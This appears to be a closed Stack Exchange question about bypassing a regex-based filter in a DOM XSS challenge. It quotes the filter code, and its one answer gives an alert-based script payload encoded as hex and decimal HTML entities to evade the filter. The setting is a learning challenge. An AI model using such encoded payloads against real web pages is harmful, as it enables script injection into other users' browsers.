0

I'm trying to solve an dom xss challenge where filter used is :

var anchor = window.location.hash.substring(1);
if (window.location.href.match(/(script|javascript|src|onerror|%|<|>)/g)) {
        alert('xss detected');

After filter is bypassed location hash is written on page through document.write. I can't think of working solution since % is in regex , so no hex and <> is also in filter. Any hint or suggestion in appreciated.

closed as off-topic by Iszi, Xander, Scott Pack, Adi, TildalWave Dec 15 '13 at 12:53

This question appears to be off-topic. The users who voted to close gave this specific reason:

  • "Questions asking us to break the security of a specific system for you are off-topic unless they demonstrate an understanding of the concepts involved and clearly identify a specific problem." – Iszi, Xander, Scott Pack, Adi, TildalWave
If this question can be reworded to fit the rules in the help center, please edit the question.

3

There's more than just normal Hex encoding! There's also Hex Entities.

<script>alert("xss")</script>

Is equal to:

&#x3C;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x22;&#x78;&#x73;&#x73;&#x22;&#x29;&#x3C;&#x2F;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E;

There's also decimal value: &#60&#115&#99&#114&#105&#112&#116&#62&#97&#108&#101&#114&#116&#40&#34&#120&#115&#115&#34&#41&#60&#47&#115&#99&#114&#105&#112&#116&#62

Hopefully this'll aid you.

Not the answer you're looking for? Browse other questions tagged or ask your own question.